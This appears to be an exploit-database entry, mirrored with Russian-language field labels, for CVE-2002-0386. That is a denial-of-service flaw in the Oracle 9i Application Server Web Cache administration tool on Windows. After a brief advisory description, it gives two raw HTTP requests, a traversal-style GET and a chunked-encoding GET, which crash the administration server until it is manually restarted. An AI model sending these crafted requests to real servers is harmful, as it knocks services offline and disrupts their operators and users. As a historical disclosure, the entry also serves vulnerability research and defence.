Exploit Oracle 9i Application Server 9.0.2 Web Cache Administration Tool - Denial of Service

[Exploiter]

EDB-ID

21911

Проверка EDB

1. Пройдено

Автор

@STAKE

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2002-0386

Дата публикации

2002-10-06

source: https://www.securityfocus.com/bid/5902/info

Oracle 9i Application Server (9iAS) allows remote administration via a web access module. This vulnerability affects Oracle 9iAS running on Microsoft Windows.

When a custom request is sent to the Web Administration module, the module may react unpredictably. By sending a malicious custom request to the module, it is possible to cause the administration server to crash. A manual restart of the server is required to resume service.

GET /../ HTTP/1.1
host: hostname
<ENTER>
<ENTER>

GET /example.html/ HTTP/1.1
host: host name
Transfer-Encoding: chunked
<ENTER>
<ENTER>